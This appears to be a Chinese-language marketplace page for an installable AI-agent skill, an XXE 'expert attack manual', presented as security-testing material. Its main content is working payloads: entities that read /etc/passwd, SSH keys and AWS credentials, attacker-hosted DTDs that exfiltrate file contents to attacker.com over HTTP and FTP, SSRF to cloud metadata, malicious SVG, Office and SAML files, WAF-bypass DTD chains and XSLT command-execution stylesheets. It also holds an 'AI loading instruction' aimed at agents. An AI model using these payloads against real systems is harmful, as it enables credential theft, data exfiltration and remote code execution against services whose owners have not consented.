mcpField
X
xxe-xml-external-entity

xxe-xml-external-entity

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 xxe-xml-external-entity

面向安全测试人员和 Agent 的 XXE 攻击测试技能,覆盖 XML 输入、文件上传及非显式 XML 处理场景。内容还介绍带外检测、数据外传和 XXE 到 SSRF 的测试路径。

主要功能

  1. 01多类 XML 输入点探查
  2. 02带外 XXE 检测与外传
  3. 03文件读取与错误泄露测试
  4. 04SVG 与 Office 文件测试
  5. 05XXE 到 SSRF 链路测试
  6. 06本地 DTD 与过滤绕过

适用场景

  1. 01检查 SOAP 或 REST XML 解析器
  2. 02测试 SVG、DOCX 或 XLSX 上传处理
  3. 03在响应不回显时验证盲 XXE
  4. 04评估 XXE 对内部 HTTP 端点的访问

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill xxe-xml-external-entity

安装后在 Claude Code 中输入/xxe-xml-external-entity确认已加载。

附带文件SCENARIOS.md

详细介绍

技能:XML 外部实体注入(XXE)——专家攻击手册

AI 加载指令:专家级 XXE 技术。涵盖所有注入上下文(SOAP、REST JSON→XML 解析器、Office 文件、SVG)、带外(OOB)数据外泄(直接读取失败时至关重要)、盲 XXE 检测,以及 XXE 到 SSRF 的攻击链。基础模型通常会遗漏 OOB 和非 XML 上下文中的 XXE。对于真实世界的 CVE 攻击链、Office docx XXE 分步操作、PHP expect:// RCE,以及 Solr XXE+RCE,请加载配套文件 SCENARIOS.md。

0. 相关路由

另请加载:

扩展场景

需要以下内容时,也请加载 SCENARIOS.md:

  • Apache Solr XXE + RCE 攻击链(CVE-2017-12629)——通过 XXE 读取配置,然后利用 VelocityResponseWriter 实现 RCE
  • Office docx XXE 分步操作——解压 → 向 word/document.xml 或 [Content_Types].xml 注入 DOCTYPE → 重新打包 → 上传
  • 基于 DOCTYPE 的盲 SSRF——PUBLIC 外部 DTD 引用会触发 HTTP 回连,无需实体反射
  • 通过 XXE 使用 PHP expect:// 协议——安装 expect 扩展时可直接执行命令
  • 通过错误消息触发盲 XXE——强制产生文件路径错误,使异常文本泄露内容
  • SOAP Web 服务中的 XXE——向 SOAP Envelope/Body 元素注入实体

1. 经典 XXE 有效载荷

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

如果响应中反射出 /etc/passwd → 确认可读取文件。


2. 攻击面发现

直接 XML 输入
  • SOAP 端点(text/xml、application/soap+xml)
  • 接受 application/xml 的 REST API
  • 文件上传:.xlsx、.docx、.pptx(Office Open XML)
  • SVG 上传(SVG 是 XML)
  • RSS/Atom 源解析器
  • 支持 XML 配置导入的 Web 服务
不明显的 XML 处理

将任何 JSON POST 请求的 Content-Type 标头改为:

Content-Type: application/xml

然后将请求正文改写为 XML——许多后端使用双格式解析器或自动检测格式。

PDF 生成器

某些 HTML→PDF 工具(wkhtmltopdf、PrinceXML)会通过嵌入式 URL 执行 SSRF,也会解析 HTML 中包含的 SVG/XML 内部的外部实体。


3. OOB(带外)XXE——至关重要

当直接实体反射失败时使用(服务器会解析,但不会回显实体内容):

步骤 1:盲检测
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
<root>&xxe;</root>

Collaborator 收到 DNS/HTTP 请求 → 确认存在 XXE(即使未返回文件内容)。

步骤 2:通过攻击者托管的 DTD 进行 OOB 文件外泄

攻击者的服务器在 http://attacker.com/evil.dtd 上托管恶意 DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;

发送给目标的有效载荷:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&exfiltrate;</root>

文件内容会出现在攻击者 HTTP 服务器的请求日志中。

步骤 3:基于错误的 OOB(HTTP 被阻止时的替代方法)

利用人为触发的错误在错误消息中泄露数据:


<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
%eval;
%error;

4. XXE 文件读取目标

Linux:

/etc/passwd
/etc/shadow  (requires root)
/etc/hosts
/proc/self/environ      ← environment variables (DB creds, API keys)
/proc/self/cmdline      ← process command line
/var/log/apache2/access.log  ← may contain passwords in URLs
/home/USER/.ssh/id_rsa  ← SSH private key
/home/USER/.aws/credentials ← AWS keys
/home/USER/.bash_history

Windows:

C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config    ← ASP.NET connection strings
C:\xampp\htdocs\wp-config.php    ← WordPress DB credentials
C:\Users\Administrator\.ssh\id_rsa

5. SVG XXE(文件上传场景)

当接受 SVG 上传并提供或处理这些文件时:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
  <text font-size="16">&xxe;</text>
</svg>

以 .svg 上传 → GET /uploads/file.svg → 响应中包含文件内容。


6. Office 文件 XXE(docx/xlsx/pptx)

Office 文件是包含 XML 的 ZIP 归档文件。向 [Content_Types].xml 或 word/document.xml 注入:

# Step 1: extract
unzip original.docx -d extracted/

# Step 2: edit word/document.xml — add malicious DTD
# Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then use &xxe; inside document text

# Step 3: repackage
cd extracted && zip -r ../malicious.docx .

7. SOAP 端点 XXE

SOAP 请求按定义会解析 XML。向 SOAP 信封中注入外部实体:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getUser>
      <id>&xxe;</id>
    </getUser>
  </soap:Body>
</soap:Envelope>

8. XXE → SSRF 攻击链

XXE 外部实体可以指向内部 HTTP 端点(与 SSRF 完全相同):

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>

这会将 XXE 文件读取与 SSRF 合并到单个有效载荷中。


9. XInclude 攻击

当服务器端处理 XInclude(从其他来源导入 XML),但你无法控制 DOCTYPE 时:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</foo>

适用于:Apache Cocoon、Xerces-J,以及启用了 XInclude 支持的 libxml2。


10. XXE 中的协议处理器


<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">


<!ENTITY xxe SYSTEM "file:///etc/passwd">


<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">



<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">


<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">

11. 绕过防御

解析器阻止 DOCTYPE

尝试使用 XInclude(无需 DOCTYPE,见 §9)。

只允许特定 XML 架构

如果会进行架构验证:在架构验证之后、实体处理之前注入注释或 CDATA。

响应编码问题(响应中包含二进制内容)

使用 PHP 过滤器进行 base64 编码:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
OOB 网络限制

仅使用 DNS 进行 OOB:通过 SYSTEM "file://HASH.attacker.com"——无需 HTTP,DNS 查询即可泄露数据。


12. 快速检测清单

□ Find XML input point (or JSON→XML transformation)
□ Send basic entity: <!ENTITY xxe "test"> → &xxe; in body → does "test" reflect?
□ If yes → file read: SYSTEM "file:///etc/passwd"
□ If no reflection → OOB test via Collaborator URL
□ If OOB hit → set up attacker DTD for file exfiltration
□ Try SVG upload with XXE
□ Try Content-Type: application/xml on JSON endpoints
□ Try XInclude if DOCTYPE-based fails

13. 本地 DTD 注入(盲 XXE 放大)

如果外部实体被阻止,但服务器上存在本地 DTD 文件:

技术

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>
常见本地 DTD 路径
Linux
/usr/share/yelp/dtd/docbookx.dtd           # GNOME Help
/usr/share/xml/fontconfig/fonts.dtd         # Fontconfig
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/struts/struts-config_1_0.dtd     # Apache Struts
/usr/share/nmap/nmap.dtd                    # Nmap
/opt/zaproxy/xml/alert.dtd                  # OWASP ZAP
Windows
C:\Windows\System32\wbem\xml\cim20.dtd            # WMI
C:\Windows\System32\wbem\xml\wmi20.dtd             # WMI
C:\Program Files\IBM\WebSphere\*.dtd               # WebSphere
C:\Program Files (x86)\Lotus\*.dtd                 # Lotus Notes
JAR 文件内部(Java 应用程序)
jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd
原理
  • 外部连接被阻止(防火墙/WAF/出口过滤器)
  • 但通常允许使用 file:// 访问本地文件
  • 本地 DTD 受信任 → 实体覆盖会注入攻击者控制的定义
  • 通过 file:// 进行错误消息提取或盲提取仍然有效

14. 其他 OOB 数据外泄通道

基于 FTP 的数据外泄(逐行)

FTP 协议逐行发送数据,因此在基于 HTTP 的 OOB 会在换行符处截断时,适合用于多行文件数据外泄:


<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'ftp://attacker.com:2121/%file;'>">
%exfil;
%send;

在端口 2121 上运行恶意 FTP 服务(例如 xxeserv 或自定义 Python 服务)——文件的每一行都会作为单独的 RETR 或 CWD 命令到达。

HTTP 参数数据外泄
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%file;'>">
%exfil;
%send;

Base64 编码可避免 HTTP URL 中的换行符/特殊字符问题。在攻击者服务上解码 d= 参数。


15. DTD 嵌套技巧——参数实体链式引用

参数实体中嵌套参数实体

用于绕过会阻止在实体值中直接引用实体的解析器:

<!DOCTYPE foo [
  <!ENTITY % a "&#x25; b;">
  <!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
  %a;
]>

解析器会展开 %a; → %b; → 获取外部 DTD。一些 WAF 只会检查第一层实体定义。

用于规避过滤的三重嵌套

<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
%s2;


<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % s3 "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%s3;
%exfil;

发送给目标的载荷只引用 stage1.dtd——实际文件读取要经过两次 DTD 获取,因此可规避浅层 WAF 检查。


16. XXE 在不明显格式中的应用

格式XML 位置注入点
SOAP 信封整个正文都是 XML在 <soap:Envelope> 前添加 DOCTYPE
SVG 图像SVG 是 XML在 SVG 头部添加 <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
OOXML (.docx)word/document.xml、[Content_Types].xml向任意 XML 成员注入 DOCTYPE 和实体
OOXML (.xlsx)xl/sharedStrings.xml、xl/worksheets/sheet1.xml在单元格值中引用实体
RSS/Atom 源源正文是 XML如果包含用户内容,则注入到源条目中
SAML 断言SAML XML 令牌在 SAMLResponse 参数中注入 DOCTYPE(经 base64 解码的 XML)
XMPP协议消息是 XML 片段在消息正文或 JID 字段中插入实体
GPX 文件XML 格式的 GPS 轨迹数据通过接受 GPX 的文件上传端点
XHTML严格 XHTML 是有效 XML在 XHTML 文档中注入 DOCTYPE
SAML XXE

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>&xxe;</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

重新编码为 base64,并作为 SAMLResponse 参数提交。


17. 通过文件上传实施 XXE

SVG 上传
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
  <text x="10" y="50" font-size="14">&xxe;</text>
</svg>

将其作为头像/图像上传 → 查看已上传的 SVG → 文件内容会以文本形式呈现。

XLSX(Excel)上传
# 1. Create minimal .xlsx, unzip it
unzip report.xlsx -d xlsx_tmp/

# 2. Inject into xl/sharedStrings.xml
# Add after XML declaration:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Replace a <t> element content with &xxe;

# 3. Repackage
cd xlsx_tmp && zip -r ../malicious.xlsx .

也可以注入到 [Content_Types].xml 中(大多数 OOXML 处理器会先解析该文件)。

DOCX 上传
# Target: word/document.xml
# Same approach: unzip → inject DOCTYPE + entity → repackage

# Alternative: inject into customXml/item1.xml if custom XML parts exist
处理流水线攻击

即使上传的文件没有直接呈现,服务器端解析器(Apache POI、python-docx、OpenXML SDK)也可能在导入时处理实体,从而触发 OOB 数据外泄。


18. 基于错误的 XXE

强制 XML 解析器生成包含文件内容的错误消息:

方法 1:引用不存在的文件

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

解析器会尝试打开 file:///nonexistent/<hostname_content> → 错误消息中会包含主机名的值。

方法 2:XML 架构验证错误
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; err SYSTEM 'jar:file:///nonexistent!/%file;'>">
  %eval;
  %err;
]>

jar: 协议处理程序会生成详细的错误消息,其中包含展开后的实体值。

方法 3:整数溢出 / 类型错误
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; trick SYSTEM 'file:///%file;'>">
%int;
%trick;

解析器尝试打开一个包含目标文件内容的文件路径 → 错误消息泄露内容。


19. XSLT 注入与 XXE 的关联

XSLT 处理器会解析 XML,并可与 XXE 串联:

XSLT 文件读取
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
XSLT RCE(取决于处理器)

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtObj" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtObj,'id')"/>
  </xsl:template>
</xsl:stylesheet>


<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system','id')"/>
  </xsl:template>
</xsl:stylesheet>
XXE → XSLT 链

如果目标接受带有样式表引用(<?xml-stylesheet?>)的 XML 输入,则注入外部实体和恶意 XSLT,将文件读取升级为 RCE。

评论

支持 Markdown